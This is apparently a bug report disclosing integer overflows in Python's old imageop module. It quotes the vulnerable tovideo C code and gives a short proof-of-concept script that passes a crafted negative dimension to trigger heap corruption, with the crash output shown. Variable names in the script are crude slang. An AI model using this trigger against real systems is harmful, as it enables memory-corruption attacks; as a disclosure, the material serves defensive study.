The module imageop contains a lots of int overflow, which result in heap overflow, and maybe memory dump.<br>
The files imageop.c and rbgimgmodule.c are examples.<br><br><br>static PyObject *<br>imageop_tovideo(PyObject *self, PyObject *args)<br>{<br>&nbsp;&nbsp;&nbsp; int maxx, maxy, x, y, len;<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; ........................<br><br>&nbsp;&nbsp;&nbsp; /* *************** int overflow here permit to bypass len check ******************* */  
<br><br>&nbsp;if ( maxx*maxy*width != len ) {<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; PyErr_SetString(ImageopError, &quot;String has incorrect length&quot;);<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return 0;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; rv = PyString_FromStringAndSize(NULL, len);<br>&nbsp;&nbsp;&nbsp; if ( rv == 0 )
<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return 0;<br>&nbsp;&nbsp;&nbsp; ncp = (unsigned char *)PyString_AsString(rv);<br><br>&nbsp;&nbsp;&nbsp; if ( width == 1 ) {<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memcpy(ncp, cp, maxx);&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* Copy first line */<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ncp += maxx;<br><br>/* ********** with a negativ value it&#39;s possible to bypass the code ********** */
<br><br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for (y=1; y&lt;maxy; y++) {&nbsp;&nbsp;&nbsp; /* Interpolate other lines */<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; <br><br><br>-----------------------------------------------------------------------------------------------------------------------------
<br><br>an IA 32 bits Proof of Concept:<br>*****************************************************************<br>import imageop<br><br>sexshit = &quot;a&quot;*1603<br>evil = &quot;p&quot;*5241<br>connard = &quot;s&quot;*2000
<br>supaire= &quot;45&quot;*65<br>print supaire<br>connard = &quot;cool&quot;<br>salope = &quot;suceuse&quot;<br>dtc = imageop.tovideo(sexshit,1,4461,-2147002257)<br>sexshit = &quot;dtc&quot;*52<br>print connard,supaire,&quot; fin de dump&quot;
<br><br>**********************************************************************<br><br>www@AtlanticDrive:~$ python sux.py<br>4545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545
<br>cool 4545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545&nbsp; fin de dump<br>*** glibc detected *** corrupted double-linked list: 0x0817d3f0 ***
<br>Abandon<br>www@AtlanticDrive:~$<br><br>ok, i hate the python&#39;s syntax, that&#39;s too old school ! :p<br>